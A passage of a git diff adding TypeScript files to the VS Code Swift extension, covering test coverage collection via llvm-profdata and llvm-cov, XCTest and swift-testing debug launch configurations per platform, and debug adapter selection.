"path"; +import { Writable } from "stream"; +import { promisify } from "util"; +import configuration from "../configuration"; +import { FolderContext } from "../FolderContext"; +import { execFileStreamOutput } from "../utilities/utilities"; +import { BuildFlags } from "../toolchain/BuildFlags"; +import { TestLibrary } from "../TestExplorer/TestRunner"; +import { DisposableFileCollection, TemporaryFolder } from "../utilities/tempFolder"; +import { TargetType } from "../SwiftPackage"; +import { TestingConfigurationFactory } from "../debugger/buildConfig"; +import { TestKind } from "../TestExplorer/TestKind"; + +interface CodeCovFile { + testLibrary: TestLibrary; + path: string; +} + +export class TestCoverage { + private lcovFiles: CodeCovFile[] = []; + private _lcovTmpFiles?: DisposableFileCollection; + private _lcovTmpFilesInit?: Promise; + private coverageDetails = new Map(); + + constructor(private folderContext: FolderContext) {} + + /** + * Returns coverage information for the suppplied URI. + */ + public loadDetailedCoverage(uri: vscode.Uri) { + return this.coverageDetails.get(uri) || []; + } + + /** + * Captures the coverage data after an individual test binary has been run. + * After the test run completes then the coverage is merged. + */ + public async captureCoverage(testLibrary: TestLibrary) { + const buildDirectory = BuildFlags.buildDirectoryFromWorkspacePath( + this.folderContext.folder.fsPath, + true + ); + const result = await asyncfs.readFile(`${buildDirectory}/debug/codecov/default.profdata`); + const filename = (await this.lcovTmpFiles()).file(testLibrary, "profdata"); + await asyncfs.writeFile(filename, result); + this.lcovFiles.push({ testLibrary, path: filename }); + } + + /** + * Once all test binaries have been run compute the coverage information and + * associate it with the test run. + */ + async computeCoverage(testRun: vscode.TestRun) { + const lcovFiles = await this.computeLCOVCoverage(); + if (lcovFiles.length > 0) { + for (const sourceFileCoverage of lcovFiles) { + const uri = vscode.Uri.file(sourceFileCoverage.file); + const detailedCoverage: vscode.FileCoverageDetail[] = []; + for (const lineCoverage of sourceFileCoverage.lines.details) { + const statementCoverage = new vscode.StatementCoverage( + lineCoverage.hit, + new vscode.Position(lineCoverage.line - 1, 0) + ); + detailedCoverage.push(statementCoverage); + } + + const coverage = vscode.FileCoverage.fromDetails(uri, detailedCoverage); + testRun.addCoverage(coverage); + this.coverageDetails.set(uri, detailedCoverage); + } + } + await this._lcovTmpFiles?.dispose(); + } + + /** + * Merges multiple `.profdata` files into a single `.profdata` file. + */ + private async mergeProfdata(profDataFiles: string[]) { + const filename = (await this.lcovTmpFiles()).file("merged", "profdata"); + const toolchain = this.folderContext.toolchain; + const llvmProfdata = toolchain.getToolchainExecutable("llvm-profdata"); + await execFileStreamOutput( + llvmProfdata, + ["merge", "-sparse", "-o", filename, ...profDataFiles], + null, + null, + null, + { + env: process.env, + maxBuffer: 16 * 1024 * 1024, + }, + this.folderContext + ); + + return filename; + } + + private async computeLCOVCoverage(): Promise { + if (this.lcovFiles.length === 0) { + return []; + } + + try { + // Merge all the profdata files from each test binary. + const mergedProfileFile = await this.mergeProfdata( + this.lcovFiles.map(({ path }) => path) + ); + + // Then export to the final lcov file that + // can be processed and fed to VS Code. + const lcovData = await this.exportProfdata( + this.lcovFiles.map(({ testLibrary }) => testLibrary), + mergedProfileFile + ); + + return await this.loadLcov(lcovData.toString("utf8")); + } catch (error) { + return []; + } + } + + /** + * Exports a `.profdata` file using `llvm-cov export`, returning the result as a `Buffer`. + */ + private async exportProfdata(types: TestLibrary[], mergedProfileFile: string): Promise { + const coveredBinaries = new Set(); + if (types.includes(TestLibrary.xctest)) { + let xcTestBinary = await TestingConfigurationFactory.testExecutableOutputPath( + this.folderContext, + TestKind.coverage, + TestLibrary.xctest + ); + if (process.platform === "darwin") { + const packageName = await this.folderContext.swiftPackage.name; + xcTestBinary += `/Contents/MacOS/${packageName}PackageTests`; + } + coveredBinaries.add(xcTestBinary); + } + + if (types.includes(TestLibrary.swiftTesting)) { + const swiftTestBinary = await TestingConfigurationFactory.testExecutableOutputPath( + this.folderContext, + TestKind.coverage, + TestLibrary.swiftTesting + ); + coveredBinaries.add(swiftTestBinary); + } + + let buffer = Buffer.alloc(0); + const writableStream = new Writable({ + write(chunk, _encoding, callback) { + buffer = Buffer.concat([buffer, chunk]); + callback(); + }, + }); + + await execFileStreamOutput( + this.folderContext.toolchain.getToolchainExecutable("llvm-cov"), + [ + "export", + "--format", + "lcov", + ...coveredBinaries, + `--ignore-filename-regex=${await this.ignoredFilenamesRegex()}`, + `--instr-profile=${mergedProfileFile}`, + ], + writableStream, + writableStream, + null, + { + env: { ...process.env, ...configuration.swiftEnvironmentVariables }, + maxBuffer: 16 * 1024 * 1024, + }, + this.folderContext + ); + + return buffer; + } + + /** + * Lazily creates (once) and returns the disposable file collection used for LCOV processing. + * Safe against concurrent callers. + */ + private async lcovTmpFiles(): Promise { + if (this._lcovTmpFiles) { + return this._lcovTmpFiles; + } + + // Use an internal promise to avoid duplicate folder creation in concurrent calls. + if (!this._lcovTmpFilesInit) { + this._lcovTmpFilesInit = (async () => { + const tempFolder = await TemporaryFolder.create(); + this._lcovTmpFiles = tempFolder.createDisposableFileCollection(); + return this._lcovTmpFiles; + })(); + } + + return (await this._lcovTmpFilesInit)!; + } + + /** + * Constructs a string containing all the paths to exclude from the code coverage report. + * This should exclude everything in the `.build` folder as well as all the test targets. + */ + private async ignoredFilenamesRegex(): Promise { + const basePath = this.folderContext.folder.path; + const buildFolder = path.join(basePath, ".build"); + const snippetsFolder = path.join(basePath, "Snippets"); + const pluginsFolder = path.join(basePath, "Plugins"); + const testTargets = (await this.folderContext.swiftPackage.getTargets(TargetType.test)).map( + target => path.join(basePath, target.path) + ); + + const excluded = configuration.excludeFromCodeCoverage.map(target => + path.isAbsolute(target) ? target : path.join(basePath, target) + ); + + return [buildFolder, snippetsFolder, pluginsFolder, ...testTargets, ...excluded].join("|"); + } + + private async loadLcov(lcovContents: string): Promise { + return promisify(lcov.source)(lcovContents).then(value => value ?? []); + } +} diff --git a/src/debugger/buildConfig.ts b/src/debugger/buildConfig.ts new file mode 100644 index 000000000..062431c31 --- /dev/null +++ b/src/debugger/buildConfig.ts @@ -0,0 +1,775 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as os from "os"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { TargetType } from "../SwiftPackage"; +import { TestKind, isDebugging, isRelease } from "../TestExplorer/TestKind"; +import { TestLibrary } from "../TestExplorer/TestRunner"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { buildOptions } from "../tasks/SwiftTaskProvider"; +import { ArgumentFilter, BuildFlags } from "../toolchain/BuildFlags"; +import { packageName } from "../utilities/tasks"; +import { regexEscapedString, swiftRuntimeEnv } from "../utilities/utilities"; +import { Version } from "../utilities/version"; +import { SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; +import { updateLaunchConfigForCI } from "./lldb"; + +export class BuildConfigurationFactory { + public static buildAll( + ctx: FolderContext, + isTestBuild: boolean, + isRelease: boolean + ): Promise { + return new BuildConfigurationFactory(ctx, isTestBuild, isRelease).build(); + } + + private constructor( + private ctx: FolderContext, + private isTestBuild: boolean, + private isRelease: boolean + ) {} + + private async build(): Promise { + let additionalArgs = buildOptions(this.ctx.toolchain); + if ((await this.ctx.swiftPackage.getTargets(TargetType.test)).length > 0) { + additionalArgs.push(...this.testDiscoveryFlag(this.ctx)); + } + + if (this.isRelease) { + additionalArgs = [...additionalArgs, "-c", "release"]; + } + + // don't build tests for iOS etc as they don't compile + if (this.ctx.toolchain.buildFlags.getDarwinTarget() === undefined) { + additionalArgs = ["--build-tests", ...additionalArgs]; + if (this.isRelease) { + additionalArgs = [...additionalArgs, "-Xswiftc", "-enable-testing"]; + } + if (this.isTestBuild) { + // Exclude all arguments from TEST_ONLY_ARGUMENTS that would cause a `swift build` to fail. + const buildCompatibleArgs = BuildFlags.filterArguments( + configuration.folder(this.ctx.workspaceFolder).additionalTestArguments, + BuildConfigurationFactory.TEST_ONLY_ARGUMENTS, + true + ); + additionalArgs = [...additionalArgs, ...buildCompatibleArgs]; + } + } + + return { + ...(await this.baseConfig), + program: "swift", + args: ["build", ...additionalArgs], + env: {}, + }; + } + + /** flag for enabling test discovery */ + private testDiscoveryFlag(ctx: FolderContext): string[] { + // Test discovery is only available in SwiftPM 5.1 and later. + if (ctx.swiftVersion.isLessThan(new Version(5, 1, 0))) { + return []; + } + // Test discovery is always enabled on Darwin. + if (process.platform !== "darwin") { + const hasLinuxMain = ctx.linuxMain.exists; + const testDiscoveryByDefault = ctx.swiftVersion.isGreaterThanOrEqual( + new Version(5, 4, 0) + ); + if (hasLinuxMain || !testDiscoveryByDefault) { + return ["--enable-test-discovery"]; + } + } + return []; + } + + private get baseConfig() { + return getBaseConfig(this.ctx, true); + } + + /** + * Arguments from additionalTestArguments that should be excluded from swift build commands. + * These are test-only arguments that would cause build failures if passed to swift build. + */ + private static TEST_ONLY_ARGUMENTS: ArgumentFilter[] = [ + { argument: "--parallel", include: 0 }, + { argument: "--no-parallel", include: 0 }, + { argument: "--num-workers", include: 1 }, + { argument: "--filter", include: 1 }, + { argument: "--skip", include: 1 }, + { argument: "-s", include: 1 }, + { argument: "--specifier", include: 1 }, + { argument: "-l", include: 0 }, + { argument: "--list-tests", include: 0 }, + { argument: "--show-codecov-path", include: 0 }, + { argument: "--show-code-coverage-path", include: 0 }, + { argument: "--show-coverage-path", include: 0 }, + { argument: "--xunit-output", include: 1 }, + { argument: "--enable-testable-imports", include: 0 }, + { argument: "--disable-testable-imports", include: 0 }, + { argument: "--attachments-path", include: 1 }, + { argument: "--skip-build", include: 0 }, + ]; +} + +export class SwiftTestingBuildAguments { + private constructor( + public fifoPipePath: string, + public attachmentPath: string | undefined + ) {} + + public static build( + fifoPipePath: string, + attachmentPath: string | undefined + ): SwiftTestingBuildAguments { + return new SwiftTestingBuildAguments(fifoPipePath, attachmentPath); + } +} + +export class SwiftTestingConfigurationSetup { + public static async setupAttachmentFolder( + folderContext: FolderContext, + testRunTime: number + ): Promise { + const attachmentPath = SwiftTestingConfigurationSetup.resolveAttachmentPath( + folderContext, + testRunTime + ); + if (attachmentPath) { + // Create the directory if it doesn't exist. + await fs.mkdir(attachmentPath, { recursive: true }); + + return attachmentPath; + } + + return attachmentPath; + } + + public static async cleanupAttachmentFolder( + folderContext: FolderContext, + testRunTime: number, + logger: SwiftLogger + ): Promise { + const attachmentPath = SwiftTestingConfigurationSetup.resolveAttachmentPath( + folderContext, + testRunTime + ); + + if (attachmentPath) { + try { + // If no attachments were written during the test run clean up the folder + // that was created to contain them to prevent accumulation of empty folders + // after every run. + const files = await fs.readdir(attachmentPath); + if (files.length === 0) { + await fs.rmdir(attachmentPath); + } + } catch (error) { + logger.error(`Failed to clean up attachment path: ${error}`); + } + } + } + + private static resolveAttachmentPath( + folderContext: FolderContext, + testRunTime: number + ): string | undefined { + let attachmentPath = configuration.folder(folderContext.workspaceFolder).attachmentsPath; + if (attachmentPath.length > 0) { + // If the attachment path is relative, resolve it relative to the workspace folder. + if (!path.isAbsolute(attachmentPath)) { + attachmentPath = path.resolve(folderContext.folder.fsPath, attachmentPath); + } + + const dateString = this.dateString(testRunTime); + return path.join(attachmentPath, dateString); + } + return undefined; + } + + private static dateString(time: number): string { + const date = new Date(time); + return `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, "0")}-${String(date.getDate()).padStart(2, "0")}_${String(date.getHours()).padStart(2, "0")}-${String(date.getMinutes()).padStart(2, "0")}-${String(date.getSeconds()).padStart(2, "0")}`; + } +} + +/** + * Creates `vscode.DebugConfiguration`s for different combinations of + * testing library, test kind and platform. Use the static `swiftTestingConfig` + * and `xcTestConfig` functions to create + */ +export class TestingConfigurationFactory { + public static swiftTestingConfig( + ctx: FolderContext, + buildArguments: SwiftTestingBuildAguments, + testKind: TestKind, + testList: string[], + expandEnvVariables = false + ): Promise { + return new TestingConfigurationFactory( + ctx, + testKind, + TestLibrary.swiftTesting, + testList, + buildArguments, + expandEnvVariables + ).build(); + } + + public static xcTestConfig( + ctx: FolderContext, + testKind: TestKind, + testList: string[], + expandEnvVariables = false + ): Promise { + return new TestingConfigurationFactory( + ctx, + testKind, + TestLibrary.xctest, + testList, + undefined, + expandEnvVariables + ).build(); + } + + public static testExecutableOutputPath( + ctx: FolderContext, + testKind: TestKind, + testLibrary: TestLibrary + ): Promise { + return new TestingConfigurationFactory( + ctx, + testKind, + testLibrary, + [], + undefined, + true + ).testExecutableOutputPath(); + } + + private constructor( + private ctx: FolderContext, + private testKind: TestKind, + private testLibrary: TestLibrary, + private testList: string[], + private swiftTestingArguments?: SwiftTestingBuildAguments, + private expandEnvVariables = false + ) {} + + /** + * Builds a `vscode.DebugConfiguration` for running tests based on four main criteria: + * + * - Platform + * - Toolchain + * - Test Kind (coverage, debugging) + * - Test Library (XCTest, swift-testing) + */ + private async build(): Promise { + if (!(await this.hasTestTarget)) { + return null; + } + + switch (process.platform) { + case "darwin": + return this.buildDarwinConfig(); + case "win32": + return this.buildWindowsConfig(); + default: + return this.buildLinuxConfig(); + } + } + + /* eslint-disable no-case-declarations */ + private async buildWindowsConfig(): Promise { + if (isDebugging(this.testKind)) { + const testEnv = { + ...swiftRuntimeEnv(), + ...configuration.folder(this.ctx.workspaceFolder).testEnvironmentVariables, + }; + // On Windows, add XCTest.dll/Testing.dll to the Path + // and run the .xctest executable from the .build directory. + const runtimePath = this.ctx.toolchain.runtimePath; + const xcTestPath = this.ctx.toolchain.xcTestPath; + if (xcTestPath && xcTestPath !== runtimePath) { + testEnv.Path = `${xcTestPath};${testEnv.Path ?? process.env.Path}`; + } + + const swiftTestingPath = this.ctx.toolchain.swiftTestingPath; + if (swiftTestingPath && swiftTestingPath !== runtimePath) { + testEnv.Path = `${swiftTestingPath};${testEnv.Path ?? process.env.Path}`; + } + + const baseConfig = await this.baseConfig(); + return { + ...baseConfig, + program: await this.testExecutableOutputPath(), + args: this.debuggingTestExecutableArgs(), + env: testEnv, + }; + } else { + return this.buildDarwinConfig(); + } + } + + /* eslint-disable no-case-declarations */ + private async buildLinuxConfig(): Promise { + if (isDebugging(this.testKind) && this.testLibrary === TestLibrary.xctest) { + const baseConfig = await this.baseConfig(); + return { + ...baseConfig, + program: await this.testExecutableOutputPath(), + args: this.debuggingTestExecutableArgs(), + env: { + ...swiftRuntimeEnv( + process.env, + this.ctx.toolchain.runtimePath ?? configuration.runtimePath + ), + ...configuration.folder(this.ctx.workspaceFolder).testEnvironmentVariables, + }, + }; + } else { + return this.buildDarwinConfig(); + } + } + + private async buildDarwinConfig(): Promise { + const baseConfig = await this.baseConfig(); + switch (this.testLibrary) { + case TestLibrary.swiftTesting: + switch (this.testKind) { + case TestKind.debugRelease: + case TestKind.debug: + // In the debug case we need to build the testing executable and then + // launch it with LLDB instead of going through `swift test`. + const toolchain = this.ctx.toolchain; + const libraryPath = toolchain.swiftTestingLibraryPath(); + const frameworkPath = toolchain.swiftTestingFrameworkPath(); + const swiftPMTestingHelperPath = toolchain.swiftPMTestingHelperPath; + const env = { + ...this.testEnv, + ...this.sanitizerRuntimeEnvironment, + DYLD_FRAMEWORK_PATH: frameworkPath, + DYLD_LIBRARY_PATH: libraryPath, + SWT_SF_SYMBOLS_ENABLED: "0", + SWT_EXPERIMENTAL_EVENT_STREAM_FIELDS_ENABLED: "1", + }; + + // Toolchains that contain https://github.com/swiftlang/swift-package-manager/commit/844bd137070dcd18d0f46dd95885ef7907ea0697 + // produce a single testing binary for both xctest and swift-testing (called .xctest). + // We can continue to invoke it with the xctest utility, but to run swift-testing tests + // we need to invoke then using the swiftpm-testing-helper utility. If this helper utility exists + // then we know we're working with a unified binary. + if (swiftPMTestingHelperPath) { + const result = { + ...baseConfig, + program: swiftPMTestingHelperPath, + args: this.addBuildOptionsToArgs( + this.addTestsToArgs( + this.addSwiftTestingFlagsArgs([ + "--test-bundle-path", + await this.unifiedTestingOutputPath(), + "--testing-library", + "swift-testing", + ]) + ) + ), + env, + }; + return result; + } + + const result = { + ...baseConfig, + program: await this.testExecutableOutputPath(), + args: this.debuggingTestExecutableArgs(), + env, + }; + return result; + default: + let args = this.addSwiftTestingFlagsArgs([ + "test", + ...(this.testKind === TestKind.coverage + ? ["--enable-code-coverage"] + : []), + ]); + + if (this.swiftVersionGreaterOrEqual(6, 0, 0)) { + args = [...args, "--disable-xctest"]; + } + + return { + ...baseConfig, + program: this.swiftProgramPath, + args: this.addBuildOptionsToArgs(this.addTestsToArgs(args)), + env: { + ...this.testEnv, + ...this.sanitizerRuntimeEnvironment, + SWT_SF_SYMBOLS_ENABLED: "0", + SWT_EXPERIMENTAL_EVENT_STREAM_FIELDS_ENABLED: "1", + }, + // For coverage we need to rebuild so do the build/test all in one step, + // otherwise we do a build, then test, to give better progress. + preLaunchTask: + this.testKind === TestKind.coverage + ? undefined + : baseConfig.preLaunchTask, + }; + } + case TestLibrary.xctest: + switch (this.testKind) { + case TestKind.debugRelease: + case TestKind.debug: + const xcTestPath = this.ctx.toolchain.xcTestPath; + // On macOS, find the path to xctest + // and point it at the .xctest bundle from the configured build directory. + if (xcTestPath === undefined) { + return null; + } + const toolchain = this.ctx.toolchain; + return { + ...baseConfig, + program: path.join(xcTestPath, "xctest"), + args: this.addXCTestExecutableTestsToArgs([ + await this.xcTestOutputPath(), + ]), + env: { + ...this.testEnv, + ...this.sanitizerRuntimeEnvironment, + ...(toolchain.swiftVersion.isGreaterThanOrEqual( + new Version(6, 2, 0) + ) + ? { + // Starting in 6.2 we need to provide libTesting.dylib for xctests + DYLD_FRAMEWORK_PATH: + toolchain.swiftTestingFrameworkPath(), + DYLD_LIBRARY_PATH: toolchain.swiftTestingLibraryPath(), + } + : {}), + SWIFT_TESTING_ENABLED: "0", + }, + }; + default: + const swiftVersion = this.ctx.toolchain.swiftVersion; + if ( + swiftVersion.isLessThan(new Version(5, 7, 0)) && + swiftVersion.isGreaterThanOrEqual(new Version(5, 6, 0)) && + process.platform === "darwin" + ) { + // if debugging on macOS with Swift 5.6 we need to create a custom launch + // configuration so we can set the system architecture + return await this.createDarwin56TestConfiguration(); + } + + let xcTestArgs = [ + "test", + ...(this.testKind === TestKind.coverage + ? ["--enable-code-coverage"] + : []), + ]; + if (this.swiftVersionGreaterOrEqual(6, 0, 0)) { + xcTestArgs = [ + ...xcTestArgs, + "--enable-xctest", + "--disable-experimental-swift-testing", + ]; + } + + if (this.testKind === TestKind.parallel) { + xcTestArgs = [...xcTestArgs, "--parallel"]; + } + + return { + ...baseConfig, + program: this.swiftProgramPath, + args: this.addBuildOptionsToArgs(this.addTestsToArgs(xcTestArgs)), + env: { + ...this.testEnv, + ...this.sanitizerRuntimeEnvironment, + SWT_SF_SYMBOLS_ENABLED: "0", + }, + // For coverage we need to rebuild so do the build/test all in one step, + // otherwise we do a build, then test, to give better progress. + preLaunchTask: + this.testKind === TestKind.coverage + ? undefined + : baseConfig.preLaunchTask, + }; + } + } + } + /* eslint-enable no-case-declarations */ + + /** + * Return custom Darwin test configuration that works with Swift 5.6 + **/ + private async createDarwin56TestConfiguration(): Promise { + if ((await this.ctx.swiftPackage.getTargets(TargetType.test)).length === 0) { + return null; + } + + let testFilterArg: string; + const testList = this.testList.join(","); + if (testList.length > 0) { + testFilterArg = `-XCTest ${testList}`; + } else { + testFilterArg = ""; + } + + const { folder, nameSuffix } = getFolderAndNameSuffix(this.ctx, true); + // On macOS, find the path to xctest + // and point it at the .xctest bundle from the configured build directory. + const xctestPath = this.ctx.toolchain.xcTestPath; + if (xctestPath === undefined) { + return null; + } + let arch: string; + switch (os.arch()) { + case "x64": + arch = "x86_64"; + break; + case "arm64": + arch = "arm64e"; + break; + default: + return null; + } + const sanitizer = this.ctx.toolchain.sanitizer(configuration.sanitizer); + const envCommands = Object.entries({ + ...swiftRuntimeEnv(), + ...configuration.folder(this.ctx.workspaceFolder).testEnvironmentVariables, + ...sanitizer?.runtimeEnvironment, + }).map(([key, value]) => `settings set target.env-vars ${key}="${value}"`); + + return { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "custom", + name: `Test ${await this.ctx.swiftPackage.name}`, + targetCreateCommands: [`file -a ${arch} ${xctestPath}/xctest`], + processCreateCommands: [ + ...envCommands, + `process launch -w ${folder} -- ${testFilterArg} ${this.xcTestOutputPath()}`, + ], + preLaunchTask: `swift: Build All${nameSuffix}`, + }; + } + + private addSwiftTestingFlagsArgs(args: string[]): string[] { + if (!this.swiftTestingArguments) { + throw new Error( + "Attempted to create swift testing flags without any swift testing arguments. This is an internal error, please report an issue at https://github.com/swiftlang/vscode-swift/issues/new" + ); + } + + // Starting in 6.3 the version string should match the toolchain version. + let versionString = "0"; + if (this.ctx.toolchain.swiftVersion.isGreaterThanOrEqual(new Version(6, 3, 0))) { + versionString = `${this.ctx.toolchain.swiftVersion.major}.${this.ctx.toolchain.swiftVersion.minor}`; + } + + const swiftTestingArgs = [ + ...this.ctx.toolchain.buildFlags.withAdditionalFlags(args), + "--enable-swift-testing", + "--experimental-event-stream-version", + versionString, + "--event-stream-output-path", + this.swiftTestingArguments.fifoPipePath, + ]; + + if (this.swiftTestingArguments.attachmentPath && this.swiftVersionGreaterOrEqual(6, 1, 0)) { + swiftTestingArgs.push( + "--experimental-attachments-path", + this.swiftTestingArguments.attachmentPath + ); + } + + return swiftTestingArgs; + } + + private addTestsToArgs(args: string[]): string[] { + return [ + ...args, + ...this.testList.flatMap(arg => [ + "--filter", + regexEscapedString(arg, new Set(["$", "^"])), + ]), + ]; + } + + private addXCTestExecutableTestsToArgs(args: string[]): string[] { + if (args.length === 0) { + return args; + } + return ["-XCTest", this.testList.join(","), ...args]; + } + + private addBuildOptionsToArgs(args: string[]): string[] { + let result = [...args, ...buildOptions(this.ctx.toolchain, isDebugging(this.testKind))]; + if (isRelease(this.testKind)) { + result = [...result, "-c", "release", "-Xswiftc", "-enable-testing"]; + } + + // Add in any user specified test arguments. + result = [ + ...result, + ...configuration.folder(this.ctx.workspaceFolder).additionalTestArguments, + ]; + + // `link.exe` doesn't support duplicate weak symbols, and lld-link in an effort to + // match link.exe also doesn't support them by default. We can use `-lldmingw` to get + // lld-link to allow duplicate weak symbols, but that also changes its library search + // path behavior, which could(?) be unintended. + // + // On the `next` branch (6.1?) in llvm, the duplicate symbol behavior now has its own flag + // `-lld-allow-duplicate-weak` (https://github.com/llvm/llvm-project/pull/68077). + // Once this is available we should use it if possible, as it will suppress the warnings + // seen with `-lldmingw`. + // + // SEE: rdar://129337999 + if (process.platform === "win32" && this.testKind === TestKind.coverage) { + result = [...result, "-Xlinker", "-lldmingw"]; + } + return result; + } + + private swiftVersionGreaterOrEqual(major: number, minor: number, patch: number): boolean { + return this.ctx.swiftVersion.isGreaterThanOrEqual(new Version(major, minor, patch)); + } + + private get swiftProgramPath(): string { + return this.ctx.toolchain.getToolchainExecutable("swift"); + } + + private get buildDirectory(): string { + const { folder } = getFolderAndNameSuffix(this.ctx, this.expandEnvVariables); + return BuildFlags.buildDirectoryFromWorkspacePath(folder, true); + } + + private get artifactFolderForTestKind(): string { + const mode = isRelease(this.testKind) ? "release" : "debug"; + const triple = this.ctx.toolchain.unversionedTriple; + return triple ? path.join(triple, mode) : mode; + } + + private async xcTestOutputPath(): Promise { + const packageName = await this.ctx.swiftPackage.name; + return path.join( + this.buildDirectory, + this.artifactFolderForTestKind, + `${packageName}PackageTests.xctest` + ); + } + + private async unifiedTestingOutputPath(): Promise { + // The unified binary that contains both swift-testing and XCTests + // is named the same as the old style .xctest binary. The swiftpm-testing-helper + // requires the full path to the binary. + if (process.platform === "darwin") { + const packageName = await this.ctx.swiftPackage.name; + return path.join( + await this.xcTestOutputPath(), + "Contents", + "MacOS", + `${packageName}PackageTests` + ); + } else { + return this.xcTestOutputPath(); + } + } + + private async testExecutableOutputPath(): Promise { + switch (this.testLibrary) { + case TestLibrary.swiftTesting: + return this.unifiedTestingOutputPath(); + case TestLibrary.xctest: + return this.xcTestOutputPath(); + } + } + + private debuggingTestExecutableArgs(): string[] { + switch (this.testLibrary) { + case TestLibrary.swiftTesting: { + const swiftTestingArgs = ["--testing-library", "swift-testing"]; + + return this.addBuildOptionsToArgs( + this.addTestsToArgs(this.addSwiftTestingFlagsArgs(swiftTestingArgs)) + ); + } + case TestLibrary.xctest: + return [this.testList.join(",")]; + } + } + + private get sanitizerRuntimeEnvironment() { + return this.ctx.toolchain.sanitizer(configuration.sanitizer)?.runtimeEnvironment; + } + + private get testEnv() { + return { + ...swiftRuntimeEnv(), + ...configuration.folder(this.ctx.workspaceFolder).testEnvironmentVariables, + }; + } + + private async baseConfig(): Promise> { + return getBaseConfig(this.ctx, this.expandEnvVariables); + } + + private get hasTestTarget(): Promise { + return this.ctx.swiftPackage + .getTargets(TargetType.test) + .then(targets => targets.length > 0); + } +} + +async function getBaseConfig(ctx: FolderContext, expandEnvVariables: boolean) { + const { folder, nameSuffix } = getFolderAndNameSuffix(ctx, expandEnvVariables); + const packageName = await ctx.swiftPackage.name; + return updateLaunchConfigForCI({ + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + sourceLanguages: ["swift"], + name: `Test ${packageName}`, + cwd: folder, + args: [], + preLaunchTask: `swift: Build All${nameSuffix}`, + terminal: "console", + }); +} + +export function getFolderAndNameSuffix( + ctx: FolderContext, + expandEnvVariables = false, + platform?: "posix" | "win32" +): { folder: string; nameSuffix: string } { + const nodePath = platform === "posix" ? path.posix : platform === "win32" ? path.win32 : path; + const workspaceFolder = expandEnvVariables + ? ctx.workspaceFolder.uri.fsPath + : `\${workspaceFolder:${ctx.workspaceFolder.name}}`; + let folder: string; + let nameSuffix; + const pkgName = packageName(ctx); + if (pkgName) { + folder = nodePath.join(workspaceFolder, ctx.relativePath); + nameSuffix = ` (${packageName(ctx)})`; + } else { + folder = workspaceFolder; + nameSuffix = ""; + } + return { folder: folder, nameSuffix: nameSuffix }; +} diff --git a/src/debugger/debugAdapter.ts b/src/debugger/debugAdapter.ts new file mode 100644 index 000000000..1863352c6 --- /dev/null +++ b/src/debugger/debugAdapter.ts @@ -0,0 +1,66 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import configuration from "../configuration"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { Version } from "../utilities/version"; + +/** + * The launch configuration type added by the Swift extension that will delegate to the appropriate + * LLDB debug adapter when launched. + */ +export const SWIFT_LAUNCH_CONFIG_TYPE = "swift"; + +/** + * The supported {@link vscode.DebugConfiguration.type Debug Configuration Types} that can handle + * LLDB launch requests. + */ +export const enum LaunchConfigType { + LLDB_DAP = "lldb-dap", + CODE_LLDB = "lldb", +} + +/** + * Class managing which debug adapter we are using. Will only setup lldb-vscode/lldb-dap if it is available. + */ +export class DebugAdapter { + /** + * Return the launch configuration type for the given Swift version. This also takes + * into account user settings when determining which launch configuration to use. + * + * @param swiftVersion the version of the Swift toolchain + * @returns the type of launch configuration used by the given Swift toolchain version + */ + public static getLaunchConfigType(swiftVersion: Version): LaunchConfigType { + const lldbDapIsAvailable = swiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)); + if (lldbDapIsAvailable && configuration.debugger.debugAdapter !== "CodeLLDB") { + return LaunchConfigType.LLDB_DAP; + } else { + return LaunchConfigType.CODE_LLDB; + } + } + + /** + * Return the path to the debug adapter. + * + * @param toolchain The Swift toolchain to use + * @returns A path to the debug adapter for the user's toolchain and configuration + **/ + public static async getLLDBDebugAdapterPath(toolchain: SwiftToolchain): Promise { + const customDebugAdapterPath = configuration.debugger.customDebugAdapterPath; + if (customDebugAdapterPath.length > 0) { + return customDebugAdapterPath; + } + return toolchain.getLLDBDebugAdapter(); + } +} diff --git a/src/debugger/debugAdapterFactory.ts b/src/debugger/debugAdapterFactory.ts new file mode 100644 index 000000000..eca0a3f83 --- /dev/null +++ b/src/debugger/debugAdapterFactory.ts @@ -0,0 +1,320 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { fileExists } from "../utilities/filesystem"; +import { getErrorDescription, swiftRuntimeEnv } from "../utilities/utilities"; +import { DebugAdapter, LaunchConfigType, SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; +import { getTargetBinaryPath, swiftPrelaunchBuildTaskArguments } from "./launch"; +import { getLLDBLibPath, updateLaunchConfigForCI } from "./lldb"; +import { registerLoggingDebugAdapterTracker } from "./logTracker"; + +/** + * Registers the active debugger with the extension, and reregisters it + * when the debugger settings change. + * @param workspaceContext The workspace context + * @returns A disposable to be disposed when the extension is deactivated + */ +export function registerDebugger(workspaceContext: WorkspaceContext): vscode.Disposable { + let subscriptions: vscode.Disposable[] = []; + + // Monitor the swift.debugger.disable setting and register automatically + // when the setting is changed to enable. + const configurationEvent = 